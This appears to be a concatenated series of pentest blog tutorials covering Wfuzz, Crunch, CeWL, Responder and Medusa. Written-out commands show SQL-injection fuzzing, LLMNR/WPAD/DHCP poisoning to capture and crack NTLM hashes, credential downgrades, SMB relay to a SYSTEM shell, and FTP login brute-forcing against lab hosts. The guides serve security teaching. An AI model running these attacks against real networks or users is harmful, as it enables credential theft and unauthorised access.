wfuzz --oF /tmp/session -z range,0-10 http://testphp.vulnweb.com/listproducts.php?cat=FUZZ

This session file can now be opened up again and consumed using the “wfuzzp” payload like so:

wfuzz -z wfuzzp,/tmp/session FUZZ

One such example of this filteration from a previously saved session is as follows where we find an SQL injection vulnerability by utilizing a Python regex designed to read responses after a request modifies a parameter by adding an apostrophe (‘) and fuzzing again. “-A” displays a verbose output.

The regex r.params.get=+’\’  adds apostrophe (‘) in the get parameter. r stands for a raw response.

wfuzz -z range,1-5 --oF /tmp/session http://testphp.vulnweb.com/artists.php?artist=FUZZ
wfuzz -z wfuzzp,/tmp/session --prefilter "r.params.get=+'\''" -A FUZZ

As you can see, request number 4 throws an SQL error which indicates SQL injection. For more regex operations refer here.

Conclusion

Wfuzz is a versatile tool that can perform more than just directory enumeration and truly help a pentester in his analyses. It’s a fast scanner that is easy to use and coded in python for portability. Hope you liked the article. Thanks for reading.

Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here

The post A Detailed Guide on Wfuzz appeared first on Hacking Articles.

A Detailed Guide on Crunch

$
0
0

Introduction

Often times attackers have the need to generate a wordlist based on certain criteria which are required for pentest scenarios like password spraying/brute-forcing. Other times it could be a trivial situation like directory enumeration. Crunch is a tool developed in C by bofh28 that can create custom, highly modifiable wordlists that may aid an attacker in the situations mentioned above. It takes in min size, max size and alphanumeric character sets as input and generates any possible combination of words with or without meaning and writes it out in a text file. In this article, we’ll demonstrate crunch filters in detail.

Table of Content

  • Installation and first run
  • Different character sets
    • Default alphanumeric wordlist
    • Defined alphanumeric wordlist
    • Space character wordlist
    • View character sets available
    • Using codename character sets
    • Startblock in wordlists
    • Creating patterns
      • Case 1: Fixed word + 3 numbers
      • Case 2: Fixed word + 3 uppercase alphabets
      • Case 3: Fixed word + 3 lowercase alphabets
      • Case 4: Fixed word + 3 symbols
      • Case 5: Placeholder fixed pattern
      • Case 6: Lowercase alphabet (a,b or c) + number (1,2 or 3) + symbol (ANY)
      • Case 7: Two number (1,2 or 3) + lowercase alphabet (ANY) + symbol (ANY)
      • Case 8: Treating symbols as literals
    • Inverting wordlist
    • Limit duplicate patterns
    • Putting early stop on wordlists
    • Word permutations
    • Splitting wordlist based on word count
    • Splitting wordlist based on size
    • Compressing wordlist
  • Conclusion

Installation and first run

Crunch is installed by default on Kali Linux but can be installed using apt package manager using

apt install crunch

After it is installed, we can run crunch to generate a wordlist. When we input the min and max size of the word to be generated and just the output file, it automatically takes in small case alphabets as character sets and generates words.

For example, here 1 character to 3 characters per word is being generated in smallcase and stored in file dict.txt

crunch 1 3 -o dict.txt

Defined Alphanumeric Characters

A user can also define the selected characters to be used while generating a wordlist. Here, min size 5 and max size 7 characters per words is being generated while using the characters “p, a, s, s, 1, 2, and 3” as input. Hence the dictionary starts with “ppppp, ppppa ….” And ends with “3333333” and contains combinations like pass213, pass1 etc.

crunch 5 7 pass123 -o dict.txt

Space character wordlist

One neat trick is to include space in the wordlist. Often times we need spaces in scenarios for passwords and many generic wordlists or tools don’t have this feature. In crunch, we can define space as a character by putting space after the characterset to be used. For 1 to 3 characters per word including space we can do this:

crunch 1 3 "raj " -o space.txt

View character sets available

In the /usr/share/crunch directory, one may find a list file (charset.lst) mentioning all the different character sets supported by crunch. This is highly useful as a ready reference. One may manually specify character sets or can even use the codenames written on the left. It is quite simple to understand though. Description of each charset is given below:

To view the charset file:

cat /usr/share/crunch/charset.lst

Using codename character sets

These codenames can be used while creating dictionary files. For example, to create a wordlist of 4 characters per word using a mixture of alphabets, numeric and special characters, one can specify the charset.lst file using the “-f” option and then specify code word “mixalpha-numeric-all”

crunch 4 4 -f charset.lst mixalpha-numeric-all -o wordlist.txt

Startblock in wordlists

A startblock can be defined using the “-s” filter. By using this, we can define from where a wordlist should start generating. This is helpful in discarding unwanted combinations. For example, to start a wordlist from abc1, and having 4 characters per word including alphanumeric and special characters can be created like below. This way, the dictionary starts with “abc1, abc2,..abd1, abd2…” and ends at “////”

crunch 4 4 -f charset.lst mixalpha-numeric-all -o wordlist.txt -s abc1

Creating Dictionary with various patterns

Please note that the following symbols when defined as input in character sets mean the following:

@ will insert lower case characters

, will insert upper case characters

% will insert numbers

^ will insert symbols

Now, if a user wants to create a word with 3 characters with first character lowercase, number as second character and symbol as third, he can specify this:

crunch -t @%^ -o dict.txt

With “-t” as the flag to provide the symbols. If you aren’t going to use a particular character set you use a plus sign as a placeholder.

+ operator positioning: The + operator can be used where no specific character sets are used and any value can be replaced for the same. But this is in the following order:

Lowercase alphabets, uppercase alphabets, numbers, symbols

For example,

crunch 3 3 + + 123 +

This would take in the following input:

Lowercase: abcdefghijklmnopqrstuvwxyz

Uppercase: ABCDEFGHIJKLMNOPQRSTUVWXYZ

Numbers: 123

Symbols: !@#$%^&*()-_+=~`[]{}|\:;”‘<>,.?/

Case 1: Fixed word + 3 numbers

Lets say if we want to fix first 3 letters as “raj” and insert random combinations of digits at the last 3 places in a 6 character per word wordlist, it can be done by specifying the pattern without the use of commas like above in “-t” filter.

crunch 6 6 -t raj%%% -o num.txt

Case 2: Fixed word + 3 uppercase alphabets

Let’s say if we want to fix first 3 letters as “raj” and insert random combinations of uppercase alphabets at the last 3 places in a 6 character per word wordlist, it can be done by

crunch 6 6 -t raj,,, -o upper.txt

Case 3: Fixed word + 3 lowercase alphabets

Let’s say if we want to fix first 3 letters as “raj” and insert random combinations of smallcase alphabets at the last 3 places in a 6 character per word wordlist, it can be done by

crunch 6 6 -t raj@@@ -o lower.txt

Case 4: Fixed word + 3 symbols

Let’s say if we want to fix first 3 letters as “raj” and insert random combinations of special characters at the last 3 places in a 6 character per word wordlist, it can be done by

crunch 6 6 -t raj^^^ -o symbol.txt

Case 5: Placeholder fixed pattern

Let’s say in place of the lowercase placeholder we input abc12 and with “-t” we supply in @ then the pattern shall also contain 1 and 2 even though we just gave “@” indicator. See the following example:

crunch 5 5 abc12 -t @@@@@ -o dict.txt

Case 6: Lowercase alphabet (a,b or c) + number (1,2 or 3) + symbol (ANY)

Now, a user can also provide character set from which a pattern is to be created. In the following example, abc and 123 have been used. A “+” operator is also used indicating that the pattern indicator for which charset is not supplied, shall be treated as “ANY” value.

So, if a user wants to create a dictionary with first character lowercase, number as second character and symbol as third but only “a,b or c” as characters, “1,2 or 3” as numbers and any random symbol on last position respectively, he can do the following:

crunch 3 3 abc + 123 -t @%^ -o pattern.txt

Case 7: Two number (1,2 or 3) + lowercase alphabet (ANY) + symbol (ANY)

Similarly, to create a 4 character per word pattern of 2 digits (containing only 1,2, or 3)+lowercase alpha+symbol we can do this:

crunch 4 4  + + 123 + -t %%@^ -O pattern2.txt

Case 8: Treating symbols as literals

When “-l” is used in accordance with the “-t” filter, it tells crunch which symbols should be treated as literals. For example, we know that @ is used to denote a lowercase letter. So, if we want to generate a 7 character per word wordlist using the word “p@ss” fixed, it will consider @ as a pattern indicator of a lowercase alphabets. Thereafter, -l filter can be used to define which character is to be treated as literal and not converted as pattern. This can be done like:

crunch 7 7 -t p@ss,%^ > dict.txt
crunch 7 7 -t p@ss,%^ -l a@aaaaa > 1.txt

Inverting Wordlist

A generated wordlist fixes, by default, first characters and creates combinations on the last character. For example, a wordlist containing “a,b and c” has

aaa
aab
aac
aba
abb
abc
aca

But this can be inverted using the “-i” option. Crunch would fix the last letter first and make combinations out of first letters. For example, a dictionary of 5 characters per word having 3 alphabets,2digits and inverted looks like following:

crunch 5 5 abc12 -t @@@%% -o dict.txt
crunch 5 5 abc12 -t @@@%% -i -o invert.txt


Limit duplicate patterns

A user can place a limit on the number of characters that can occur together. For example, to create a wordlist of 5 characters per word using 3 lowercase alphabets,1 number and 1 symbol can be done like the first command. But if a user wants to limit the occurrence of duplicate characters together to only 2 places he can use the “-d” operator. Note how in the first command 3 “a” occurred but in the second command duplicates are limited to only 2 and so only 2 “a”s have occurred.

crunch 5 5 abc + 123 -t @@@%^ -o 1.txt
crunch 5 5 abc + 123 -t @@@%^ -o 2.txt -d 2@

Putting early stops on wordlists

As per user requirements, there may also be a possibility when a user wants to cut short a list to certain combination. For example, if a user wants to create 3 characters per word wordlist using “a,b and c” as characters but wants to cut it as soon as wordlist generates combination ”acc” it can be done like so:

crunch 3 3 abc -o 1.txt
crunch 3 3 abc -e acc -o 2.txt

Word permutations

In mathematics, permutations stand for non-repeating combinations of certain events. So, to generate non-repeating wordlists by permutations we can use the “-p” filter. Here, we supply 3 words as input none of which shall repeat even if the maximum size of the wordlist is 6.

crunch 3 6 -p raj chandel hackingarticles

Wordlist Permutations

Just like words can be permuted, wordlists can be permuted. Using the “-q” option, crunch can take input from a wordlist and do permutations on what is read in the file. For example, if the file list is:

A

B

C

Then, crunch -q list.txt would output:

ABC

ACB

BAC

BCA

CAB

CBA

Similarly, we can do permutations on 3 char per word wordlist like so:

crunch 3 3 abc -e acc -o 2.txt
crunch 3 3 abc -q 2.txt -o 3.txt

Splitting wordlist based on word count

A wordlist can be cut short using the “-c” option. Here, a file with 94 words has been generated. Now, to split that into multiple files each containing 60 words maximum can be done like so. Note, that this only works with “-o START” which will autoname the files in the format:

Starting character – Ending character.txt

Here, start and ending are a,7 and for next file, 8 and /(space)

crunch 1  1 -f charset.lst mixalpha-numeric-all-space -o file.txt
crunch 1  1 -f charset.lst mixalpha-numeric-all-space -o START -c 60

Splitting wordlist based on size

To cut short a file based on the size, we can use “-b” filter. For example, to split a wordlist into multiple files each of a maximum 1 MB we can do:

crunch 4 7  Pass123 -b 1mb -o START

Remember, -o START is compulsory as it will automatically split the file in the format:

Starting character – Ending character.txt

Compressing wordlist

Oftentimes, wordlists are too large in size while in text format and gzip can be used to compress them to over 60-70%. For example, to compress a file of max 7 mixalpha-numeric charset and autoname using START we can do this:

crunch 4 7  Pass123 -z gzip -o START
gunzip PPPP-3333333.txt.gz

Conclusion

The article is meant to be considered as a ready reference for quick and dirty wordlist generation using crunch. Crunch is a powerful and very fast tool written in C which is available by default in Kali Linux and is allowed to be used in competitive security certification exams. Hope you liked the article and thanks for reading it.

Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here

The post A Detailed Guide on Crunch appeared first on Hacking Articles.

A Detailed Guide on Cewl

$
0
0

Hi, Pentesters! In this article, we are going to focus on the Kali Linux tool “Cewl” which will basically help you to create a wordlist. Let’s explore this tool and learn about what all other options this tool provides.

Table of Contents

  1. Introduction to Cewl
  2. Default Procedure
  3. Store this wordlist in a file
  4. Generating a Wordlist of a certain length
  5. Retrieval of Emails from the website.
  6. To count the number of words repeated on the website
  7. Increase spider depth
  8. Verbose Mode
  9. Alphanumeric Wordlist
  10. Cewl with Digest/Basic Authentication
  11. Lowercase all parsed words
  12. Proxy Support-

Introduction to Cewl                 

CeWL – A custom wordlist generator is a ruby program that crawls a specific URL to a defined depth and returns a list of keywords, which password crackers like John the Ripper, Medusa, and WFuzz can use to crack the passwords. Cewl also has an associated command-line app FAB, which uses the same metadata extraction techniques to generate author/producer lists from already downloaded files using information extraction algorithms like CeWL.

CeWL comes preinstalled with Kali Linux. With this tool, we can easily collect words and phrases from the target page. It is a robust program that can quickly scrape the webserver of any website.

Open the terminal of Kali Linux and type “cewl -h” to see the lists of all the options it accepts, with a complete description.

Syntax: cewl <url> [options]

General Options :

   -h, –help:                                          Show help.

                -k, –keep:                                        Keep the downloaded file.

                -d <x>, –depth <x>:                         Depth to spider to, default 2.

                -m, –min_word_length:                  Minimum word length, default 3.

                -o, –offsite:                                      Let the spider visit other sites.

                -w, –write:                                       Write the output to the file.

                -u, –ua <agent>:                              User agent to send.

                -n, –no-words:                                             Don’t output the wordlist.

                –with-numbers:                               Accept words with numbers in as well as just letters

                -a, –meta:                                       include meta data.

                –meta_file file:                                           Output file for Meta data.

                -e, –email:                                       Include email addresses.

                –email_file <file>:                          Output file for email addresses.

                 -c, –count:                                                  Show the count for each word found.

                -v, –verbose:                                   Verbose.

                –debug:                                                       Extra debug information

                Authentication

                –auth_type:                                     Digest or basic.

                –auth_user:                                     Authentication username.

                –auth_pass:                                     Authentication password.

               Proxy Support

                –proxy_host:                                   Proxy host.

                –proxy_port:                                   Proxy port, default 8080.

                –proxy_username:                          Username for proxy, if required.

                –proxy_password:                           Password for proxy, if required.

Default Procedure

Use the following command to generate a list of words that will spider the given URL to a specified depth and we can use it as a directory for cracking the passwords.

cewl http://www.vulnweb.com

Store this wordlist in a file

Now to save this all wordlist in a file for record-keeping, efficiency and readability we will use the -w option to save the output in a text file.

cewl http://www.vulnweb.com -w dict.txt

Here dict.txt is the file name where the wordlist will be stored. Once the file has been created you can open it to see if the output is stored in the file.

Generating wordlists of a certain length

If you want to create a wordlist of a specific length then you can choose to use option -m and provide the minimum length for the keyword hence it will create wordlists for a certain length.

cewl http://vulnweb.com / -m 10 -w dict.txt

So basically, this will create a wordlist in which each word has a minimum of 10 letters and store these keywords in the file dict.txt. Screenshot is attached for your reference.

Retrieval of Emails from the website:

In order to retrieve emails from the website, we can use the -e option, while the -n option will hide the lists created while crawling the provided website. As you can see in the screenshot attached it has found 1 email-id from the website.

cewl https://digi.ninja/contact.php -e -n

To count the number of words repeated on the website

If you want to count the number of times a word is repeated on a website, then use the -c option that will enable the count parameter.

cewl  http://www.vulnweb.com -c

For your reference, a screenshot is added below which prints the count for every keyword repeated on website.

Increase Spider depth

You can use -d option with the depth number to activate depth parameter for more quick and intense crawling so that a large list of words is created. The depth level is set to 2 as default.

cewl http://vulnweb.com -d 3

Verbose Mode

We have a -v option for the verbose mode to extend the website crawling result and retrieve complete detail of the website.

cewl http://vulnweb.com -v

So, this will display extended website crawling results. Below we have attached a screenshot so that you will get a clear idea.

Alphanumeric Wordlist

Sometimes it may happen that you may need an alpha-numeric wordlist that you can use –the with-numbers option to get an alpha-numeric wordlist.

cewl http://testphp.vulnweb.com/artists.php --with-numbers

Cewl with Digest/Basic Authentication

It may happen sometimes that some web applications may have an authentication page for login and for that the above basic command will not give desired results. So for that, you need to bypass the authentication page by using the command given below.

cewl http://testphp.vulnweb.com/login.php --auth_type Digest --auth_user test –auth_pass test -v

In this command we have used the following options:

–auth_type:                                                            Digest /Basic

–auth_user:                                                       Authentication Username

–auth_pass:                                                       Authentication password

Lowercase all parsed words

When you need the keywords to be generated in lowercase for that you can use the –lowercase option to generate the words in lowercase.

Proxy Support

This default command for cewl will not work properly if you have attached a proxy server. We tried to access the application through ip address but the proxy server is attached hence this gave us a Forbidden Error page.

And here if we apply the default cewl command so it will generate the error page wordlist. Hence to get the appropriate wordlist of the web application we have used commands as:

cewl http://192.168.1.141 --proxy_host 192.168.1.141 --proxy_port 3128

In this command we have used the following options:

–proxy_host:                          Your Host

–proxy_port:                          Port number of your proxy

Author: Divya Adwani is a researcher and technical writer who is very much keen to learn and enthusiastic to learn ethical hacking Contact here

The post A Detailed Guide on Cewl appeared first on Hacking Articles.


A Detailed Guide on Responder (LLMNR Poisoning)

$
0
0

Introduction

Responder is a widely used tool in penetration test scenarios and can be used for lateral movement across the network by red teamers. The tool contains many useful features like LLMNR, NT-NS and MDNS poisoning. It is used in practical scenarios for objectives like hash capture or poisoned answer forwarding supporting various AD attacks. The tool contains various built-in servers like HTTP, SMB, LDAP, DCE-RPC Auth server etc. In this article, we will cover a majority of these attacks that can be performed while being aided by the responder.

Table of content

  • LLMNR, NBT-NS, MDNS and DHCP
  • Responder Installation
  • Attack 1: LLMNR/NBT-NS Poisoning through SMB
  • Attack 2: LLMNR/NBT-NS Poisoning through WPAD
  • Responder Analyze Mode
  • Responder Basic Authentication Mode
  • Responder Downgrade NTLMv2-SSP to NTLMv2
  • Responder external IP poisoning
  • Responder Multi-Relay: Shell on a system
  • Responder DNS injection in DHCP response
  • What are these servers in responder?
  • Recommendations
  • Conclusion

LLMNR, NBT-NS, MDNS and DHCP

LLMNR: LLMNR is a protocol that allows name resolution without the requirement of a DNS server. It is able to provide a hostname-to-IP based off a multicast packet sent across the network asking all listening Network-Interfaces to reply if they are authoritatively known as the hostname in the query.  It does this by sending a network packet to port UDP 5355 to the multicast network address. It allows IPv4 and IPv6 hosts and supports all current and future DNS formats, types, and classes. It is the successor of NBT-NS.

NBT-NS: NetBIOS name service (NBT-NS) is a Windows protocol that is used to translate NetBIOS names to IP addresses on a local network. It is analogous to what DNS does on the internet. Each machine is assigned a NetBIOS name by the NBT-NS service. Works on UDP port 137. It is the predecessor of LLMNR.

MDNS: Multicast DNS (mDNS) is a protocol aimed at helping with name resolution in networks. It doesn’t query a name server, rather, multicasts the queries to all the clients in a network directly. In multicast, an individual message is aimed directly at a group of recipients.  When a connection between sender and recipient is made, all participants are informed of the connection between the name and IP address and can make a corresponding entry in their mDNS cache.

LLMNR/NBT-NS Poisoning: Let’s say a victim wants to connect to a shared drive \\wow so it sends the request to the DNS server. The only problem is that DNS can’t connect to \\wow as it doesn’t exist. Therefore, the server replies back saying he can’t connect the victim to \\wow. Thereafter, the victim will multicast this request to the entire network (using LLMNR) in case any particular user knows the route to the shared drive (\\wow).

An adversary can spoof an authoritative source for name resolution by responding to this multicast request by a victim as if they know the identity of the shared drive a victim wants to connect with and in turn request its NTLM hash. This means that the attacker has now poisoned the service!

DHCP Poisoning: Dynamic Host Client Protocol (DHCP) is used to provide a host with its IP address, subnet mask, gateway etc. Windows uses multiple custom DHCP options like NetBIOS, WPAD etc. By poisoning the DHCP response, an attacker would be able to help the victim pinpoint its own rogue server for any kind of authentication. In turn, compromising the credentials.

Responder Installation

Initially developed by SpiderLabs and now being developed by Laurent Gaffie (lgandx), responder is a python coded tool that can be found here. The tool comes with built-in Kali OS. Responder.exe (Windows version) of the same can be found here.

It can be run using the command:

responder -h

Attack 1: LLMNR/NBT-NS Poisoning through SMB

Essentially when a system tries to access an SMB share, it sends a request to the DNS server which then resolves the share name to the respective IP address and the requesting system can access it. However, when the provided share name doesn’t exist, the system sends out an LLMNR query to the entire network. This way, if any user(IP address) has access to that share, it can reply and provide the communication to the requestor.

Let’s see a share “wow” which doesn’t exist currently. If the share exists on the same network, wow can be accessed by typing “\\wow” in the address bar of file explorer. It doesn’t exist and so, Windows throws an error.

In comes responder. Now at this point, the requesting machine (windows 10) sends out an LLMNR request. We set up responder to poison that request. We need to tell responder the NIC on which we want to listen for LLMNR requests. Here, eth0. The default responder run shall start LLMNR and NBT-NS poisoning by default.

responder -I eth0

Now, when the victim tries to access shared drive “wow” he sees this! Wow has suddenly been made available and the poisoner asking for user credentials.

Wow isn’t available at all! That’s just our poisoned answer in order to obtain NTLM hashes. Even if the user doesn’t input credentials, the hashes will be obtained.

We can now save these hashes in a file hash.txt and use hashcat to crack it. Please note that module number 5600 is the one suited to crack NTLMv2. If you obtained some other version of NTLM, please follow the hashcat modules here to specify the correct one.

hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

As you can see, the password has now been obtained which is Password@1

Furthermore, responder creates logs of every sessions and all the hashes thus dumped can be seen under the folder /usr/share/responder/logs

Attack 2: LLMNR/NBT-NS Poisoning through WPAD

WPAD: Web Proxy Autodiscovery Protocol is a method used by a browser to automatically locate and interface with cache services in a network so that information is delivered quickly. WPAD by default uses DHCP to locate a cache service to facilitate straightforward connectivity and name resolution.

In an organization that uses WPAD server, supply each browser with the same proxy configurations using a file called wpad.dat. Hence, any request going from any browser in a company domain first finds wpad.dat and then reads the configuration and finally sends the request to the destination.

When an invalid URL is an input in the browser, the browser fails to load that page using DNS and hence, sends out an LLMNR request to find a WPAD proxy server. This behaviour is there by default in browsers that have enabled “automatic configuration detection,” an option used often in corporate networks to route traffic through proxy. It then asks for wpad.dat which contains proxy’s auto-configuration data.

Responder (LLMNR poisoner) creates a rogue WPAD proxy server, poisons the request, and tells the browser that it has wpad.dat file and asks for authentication. When the user inputs his credentials, the hashes travel through the attacker!

Attack: To configure WPAD rogue proxy server we use the -w option. Furthermore, we added an optional switch of DHCP injection. This switch would inject rogue proxy’s address (kali IP) in the DHCP response. The attack could still work without this switch.

responder -I eth0 -wd

As you can see above, that DHCP poisoner and WPAD proxy have now been turned on. Now, when a user inputs any wrong URL, let’s say, randomurl.local, browser couldn’t locate it. Responder poisons and injects DHCP response with WPAD’s IP and the browser tries to authenticate to the WPAD server and gives a login prompt.

As soon as the client inputs his credentials, we receive their NTLM hashes!

This can be viewed in the logs too, but this time under the name HTTP-NTLMV2-IPV6.txt format\

We can crack it using hashcat now

hashcat -m 5600 HTTP-NTLMv2-fe80::ddc5:3b8f:e421:a88a.txt /usr/share/wordlists/rockyou.txt

Hash has been cracked and clear text password dumped!

Responder Analyze Mode

In the analyze mode, responder doesn’t automatically poison the LLMNR requests, rather it tracks the network flow of the requests made in order to give essential information like name of the user, machine account being used, name of the DC, OS version etc. It can be switched on using -A switch

responder -I eth0 -A

When a victim tried to access wrong sharename (Attack 1 method), responder analyses the entire flow and gives us the DC name, Windows OS version etc.

Responder Basic Authentication Mode

In attack 2, we saw how an NTLM authentication windows was opened when our rogue WPAD proxy server was being accessed by poisoning LLMNR. In turn, we were able to retrieve the NTLMv2 hashes. We will imitate the same attack but this time, try to gain clear text credentials of the user using basic authentication! This can be achieved using the -b flag. Further, we are using -F switch to force basic authentication!

responder -I eth0 -wdF -b

Now, when a user tries to access any invalid URL, he sees the following prompt with the message saying that these credentials would be sent in clear text using basic authentication.

As soon as use inputs his credentials, responder receives them and displays password in clear text!

Responder Downgrade NTLMv2-SSP to NTLMv2

NTLM provides ESS functionality (Extended Session Security) which adds to the complexity of the NTLM hash. ESS functionality adds an “SSP” flag in the NTLM hash (NTLM2-SSP). This increases the length of our NTLM hash in turn increasing complexity to crack the hash. We can configure Responder to use simple NTLMv2 (without ESS) which would result in lower time complexity to crack hashes.

–disable-ess flag does that. –lm flag tries to force the NTLM authentication to version 1 instead of 2, which is not possible in later windows and windows server versions. Here, we will use Attack 2 procedure with disable-ess flag.

responder -I eth0 -wdF --lm --disable-ess

This would give the user a pop-up

As soon as Mufasa enters his credentials, we would see that a downgraded version of the NTLMv2 hash has now been obtained

This can be cracked using hashcat and you’d notice it took 3 seconds time as compared to 7 seconds in Attack 2 (half less than before)!

Responder external IP poisoning

Responder can be used to send LLMNR poisoned requests to the victim that contains another IP than the one we are currently using. It creates stealth and allows us to conduct more sophisticated attacks. This can be done using “-e” option

responder -I eth0 -e 192.168.1.2

Responder multi-relay: shell on a system

Relaying is one of the most commonly used techniques used for credential access. A relay or forwarder receives valid authentication and then forwards that request to another server/system and tries to authenticate to that server/system by using the valid credentials so received. In Attack 1, we used an invalid SMB share to get hashes of the requesting system.

What if the requestor was Admin?

Sure, we can get his credentials and wait till hashcat cracks it or be smarter and use relay to forward this authentication on our desired host and gain shell on it directly!

To do that, lgandx has included a script called “MultiRelay.py” in /usr/share/Responder/tools folder. We need to install a few dependencies and build the supporting binaries that would run on the victim system and grant us a reverse shell.

apt-get install gcc-mingw-w64-x86-64
x86_64-w64-mingw32-gcc ./MultiRelay/bin/Runas.c -o ./MultiRelay/bin/Runas.exe -municode -lwtsapi32 -luserenv                                                                                                         
x86_64-w64-mingw32-gcc ./MultiRelay/bin/Syssvc.c -o ./MultiRelay/bin/Syssvc.exe -municode
curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py
python get-pip.py
pip install pycryptodome

 Once its done, we can run MultiRelay.py without any errors or warnings.

cd /usr/share/responder/tools
python3 MultiRelay.py

Now, first criteria for this attack to work with SMB is that SMB signing has to be disabled. It is disabled by default so that checks our ease to exploit. It can be tested using the nmap script smb-security-mode

nmap -p445 --script=smb-security-mode 192.168.1.3

As you can see, SMB signing is disabled so the coast is cleared. We can run MultiRelay now. To run it we need to specify the target using “-t” and “-u” specifies users to which relay is to be forwarded. You can choose selectively too and create lesser noise in network.

python3 MultiRelay.py -t 192.168.1.3 -u ALL

As you can see above, the script has detected my victim’s OS, computer account name (workstation01) and SMB signing status too. One other thing to note here is that this script is using HTTP and SMB ports. So, to prevent any conflict, we need to turn these servers OFF in responder.conf file. We just open the file in /usr/share/responder/Responder.conf and turn off HTTP and SMB. If done properly, when we launch responder next time, an OFF switch like this shall be there.

Now, as per Attack 1’s methodology, we run responder

responder -I eth0

Now, an administrator tries to open a shared drive. He is unsuccessful as the share wowowow doesn’t exist! So, responder intervenes and poisons requests successfully.

Now, in Attack 1, we had SMB server running in responder, so the victim authenticated to us and we were able to see creds. Here, SMB relaying is setup in MultiRelay.py, so that credential is now forwarded to our victim “192.168.1.3” and we gain a shell successfully on it! We received an NT AUTHORITY privilege too. This is possible because Admin had required rights on the C$ and the binary we compiled earlier was upload, ran and gave us a great shell. It could be done to gain access to a lower priv account too.

Responder DNS injection in DHCP response

In the event where DHCP is being used to identify the IP which is hosting, let’s say, an SMB drive called “wow” (refer attack 1), responder can also inject a rogue DNS record in DHCP responses.

Responder has a rogue DNS server set up. Basically, any victim trying to access a false shared drive tries to resolve the name by finding the correct DNS server. DHCP tries to resolve the IP by locating correct DNS server. It sends out a request. Responder replies to the DHCP request and injects its own DNS server IP in the DHCP response successfully poisoning the DHCP response. Victim receives this, sees our DNS server IP and tries to access the share “wow” by connecting to us. Victim now authenticates to our rogue DNS server rather than discarding the query.

The DHCP-DNS injection can be set up using “-D” option:

responder -I eth0 -D

When the victim accesses any invalid share, a prompt is now visible.

NTLM hashes have now been successfully retried by injecting our rogue DNS server IP!

What are these servers in responder?

Responder supports multiple servers as shown below in the screenshot. These are rogue servers that may facilitate one or more attacks.

Upon an nmap scan, we see that the servers are operable

For example, in the demo above, a DNS server IP was needed, so responder created a rogue DNS server and added its own IP in order to facilitate DHCP-DNS poisoning. Similarly, SMB server captures auth credentials directly of a victim when a share on our Kali machine is being accessed. Like:

Responder successfully captures the NTLM hashes

An FTP server is also given here. Let’s try and access it via victim’s browser

As you can see, anonymous credentials are obtained. Please note that while accessing it with browser valid username and password can be given as well which will be obtained in clear text

An RDP server is there as well. Lets access it using victim’s machine

Upon entering the credentials, we receive the NTLMv2 hashes associated successfully

And a WinRM server is also given. It is a protocol use for powershell remoting. So, if a victim connects to this rogue WinRM server like this:

New-PSSession -ComputerName 192.168.1.4 -Credential (get-credential)

A hash is therefore obtained!

WHATS THE POINT? Often in pentest scenarios, to conduct lateral movement, we need to compromise credentials. Sending in malicious attachments with links to our rogue servers may fool a user into authenticating and hence, give us his credentials. Alternately, we can us relaying (Impacket’s toolkit) to conduct various other attacks. For example, in this article, we have conducted LDAP relaying using impacket’s ntlmrelay script and poisoning using responder in order to take over workstations.

Recommendations

To prevent attacks demonstrated above, following are recommended:

  • Turn off LLMNR and NBT-NS in computer policy->computer configuration->admin templates->network
  • If an organization can’t turn it off, they must put network access control
  • Use strong user passwords.
  • To mitigate against the WPAD attack, you can add an entry for “wpad” in your DNS zone so that no LLMNR is sent.
  • Use SMB signing to prevent SMB relay attacks

Conclusion

The article covered various useful attacks which can be performed with the help of Responder. The tool is coded in Python and hence, is platform-independent. Red teamers heavily use this tool to conduct lateral movement. The aim of the article is to serve as a ready reference when it comes to using responder in pentest scenarios. Hope you liked the article. Thanks for reading.

Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here

The post A Detailed Guide on Responder (LLMNR Poisoning) appeared first on Hacking Articles.

A Detailed Guide on Medusa

$
0
0

Hi Pentesters! Let’s learn about a different tool Medusa, which is intended to be a speedy, parallel and modular, login brute forcer. The goal of the tool is to support as many services which allow remote authentication as possible. We can consider the following items to be some of the key features of the application.

  1. Thread-based parallel testing. Brute-force testing can be performed against multiple hosts, users or passwords concurrently.
  2. Flexible user input. Target information (host/user/password) can be specified in a variety of ways. For example, each item can be either a single entry or a file containing multiple entries. Additionally, a combination file format allows the user to refine their target listing.
  3. Modular design. Each service module exists as an independent .mod file. This means that no modifications are necessary to the core application in order to extend the supported list of services for brute-forcing.

in This article will discuss the following options available with Medusa.

Table of Contents

  1. Features of Medusa
  2. Password Cracking for specific Username
  3. Username Cracking for specific Password
  4. To crack login credentials
  5. Brute Force on Multiple Host
  6. To attack a specific port rather than the default
  7. Additional password checks (Null/Same)
  8. To Save Logs in a File
  9. Stop on Success.
  10. To suppress start-up Banner
  11. Verbose Mode
  12. Error Debug level
  13. Using Combo Entries
  14. Concurrent testing on multiple logins
  15. Display Module Usage Information

Features of Medusa

To get to know a detailed description of the options available in the Medusa tool just type in “medusa” in the kali terminal without any options, it will respectively dump all the available options with their description.

Syntax: Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] – 0063M module [OPT]

You can use -d option to dump all the available modules.

Password Cracking for Specific Username

Being a brute forcer, we can use medusa to crack passwords if the username is known on any protocol. For this to work you should have a valid username and a file containing passwords to test.

So, for this following command can be used:

medusa -h 192.168.1.141 -u ignite -P pass.txt -M ftp

Here, -h option is for mentioning target ip address, -u option for username and -P for file containing password lists. So this will crack the password for FTP protocol.

So, from the list of passwords, password 123 showed success for username ignite and for ftp login.

Username Cracking for Specific Password

Again, for this you should have a correct password so that you can use brute force to crack the username for ftp by using a file containing list of usernames.

medusa -h 192.168.1.141 -U users.txt -p 123 -M ftp

Here -h option is used for host, -U option for username file and -p is the password. So basically, you can perform brute force on the username field and can crack the correct username for the password.

To crack Login credentials

 Now let’s consider a situation where we want to target our host whose username and password both are not known. For this we will brute force both the fields username as well as password by using appropriate options present in medusa.

medusa -h 192.168.1.141 -U users.txt -P pass.txt -M ftp

Here we have used -U option for username file, -P option for password file and -h for host name. We have attached a screenshot for your better understanding.

Brute Force on Multiple Host

Now let’s consider a different situation, where we have multiple hosts, and we need to crack login credentials for the respective hosts. So, we have created three text files for host, username and password.

medusa -H hosts.txt -U user.txt -P pass.txt -M ftp

Here, -H option will mention file for host name, -U will mention file for username and -P will mention file for passwords.

If in case you have multiple hosts and you want to attack on some of the ports concurrently, for that you can use -T option which will brute force on some ports only.

